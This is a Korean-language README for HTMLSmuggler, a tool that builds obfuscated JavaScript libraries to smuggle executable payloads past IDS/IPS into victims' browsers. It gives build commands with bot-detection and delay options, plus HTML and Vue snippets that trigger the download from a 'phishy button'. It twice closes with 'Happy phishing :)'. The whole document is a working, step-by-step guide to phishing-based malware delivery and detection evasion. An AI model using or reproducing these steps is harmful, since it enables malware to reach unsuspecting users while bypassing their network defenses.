
✉️ HTML Smuggling generator&obfuscator (레드팀 운영을 위한)
HTMLSmuggler - HTML 스머글링을 통한 IDS 우회 및 페이로드 전송을 위한 JS 페이로드 생성기.
HTML 스머글링이 무엇인지에 대한 전체 설명은 여기에서 찾을 수 있습니다.
HTML 스머글링의 주요 목표는 실행 파일/아카이브 등과 같은 악성 페이로드를 겉보기에는 무해한 HTML 및 JavaScript 코드 내에 숨겨 방화벽 및 침입 탐지 시스템과 같은 네트워크 보안 제어를 우회하는 것입니다. 웹 애플리케이션의 동적 특성을 악용함으로써 공격자는 보안 경고를 트리거하거나 기존 보안 메커니즘에 탐지되지 않고 사용자의 브라우저에 악성 콘텐츠를 전달할 수 있습니다. 이 기술 덕분에 악성 파일의 다운로드는 최신 IDS 솔루션에서 어떤 식으로도 표시되지 않습니다.
HTMLSmuggler 도구의 주요 목표는 사용자 정의 악성 페이로드가 포함된 독립적인 자바스크립트 라이브러리를 만드는 것입니다. 이 라이브러리는 피싱 사이트/이메일 HTML 첨부 파일 등에 통합되어 대상 사용자 시스템에 페이로드를 전달할 수 있습니다(IDS 및 IPS 시스템 우회). 생성된 자바스크립트 라이브러리의 예는 여기에서 찾을 수 있습니다.
yarn 패키지 관리자를 설치합니다.
종속성을 설치합니다:
yarn
도움말 메시지를 확인합니다.
yarn build -h
Options:
-p, --payload <string> Path to payload file you want to smuggle
-n, --name <string> Name of file, that would be downloaded
-t, --type <string> Contet-Type of downlonaded file (default: "application/octet-stream")
-f, --function <string> Name of exported function (default: "download")
-c, --compress Enable payload compression (gzip)
-d, --delay <number> Delay before antibot and download in ms (default: 0)
-a, --antibot Enable bot detection and block them (recommended)
-h, --help display help for command
(선택 사항) obfuscator.js에서 javascript-obfuscator 옵션을 수정하십시오. 제 프리셋은 좋지만 매우 느립니다.
자바스크립트 페이로드를 컴파일합니다:
⚠️ 3 MiB보다 큰 페이로드 사용을 피하십시오 (FAQ 참조)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
dist/payload.esm.js 또는 dist/payload.umd.js에서 페이로드를 가져옵니다. 그런 다음 페이지에 삽입하고 download() (또는 -f 플래그로 지정한 사용자 정의 함수) 함수로 호출할 수 있습니다.
payload.esm.js는import { download } from 'payload.esm';import (ECMAScript 표준)에 사용됩니다.
payload.umd.js는 html script SRC 및require('payload.umd');import (CommonJS, AMD 및 순수 html)에 사용됩니다.
전체 예제는 여기에서 찾을 수 있습니다.
준비 단계를 수행합니다.
생성된 스크립트를 HTML 파일에 임포트합니다 (또는 인라인으로 삽입):
<head>
<script src="payload.umd.js"></script>
</head>
body에서 download() 함수를 호출합니다:
<body>
<button onclick="download()">Some phishy button</button>
</body>
즐거운 피싱 되세요 :)
전체 예제는 여기에서 찾을 수 있습니다.
준비 단계를 수행합니다.
생성된 스크립트를 Vue 파일에 임포트합니다:
<script>
import { download } from './payload.esm';
</script>
download() 함수를 호출합니다:
<template>
<button @click="download()">Some phishy button</button>
</template>
즐거운 피싱 되세요 :)
Q: RangeError: Maximum call stack size exceeded 오류가 발생합니다. 어떻게 해결하나요?
A: 이 이슈는 여기에 설명되어 있습니다. 해결하려면 obfuscator.js에서 splitStrings를 비활성화하거나 더 작은 페이로드를 사용하십시오 (이 이슈 때문에 최대 2MB 페이로드 사용을 권장합니다).
Q: 페이로드 빌드가 왜 이렇게 오래 걸리나요?
A: 사용하는 페이로드가 클수록 JS 파일 생성 시간이 길어집니다. 빌드 시간을 줄이려면 obfuscator.js에서 splitStrings를 비활성화해 보십시오. 다음은 기본 obfuscator.js를 사용한 예상 빌드 시간 표입니다.
| 페이로드 크기 | 빌드 시간 |
|---|---|
| 525 KB | 53 s |
| 1.25 MB | 8 m |
| 3.59 MB | 25 m |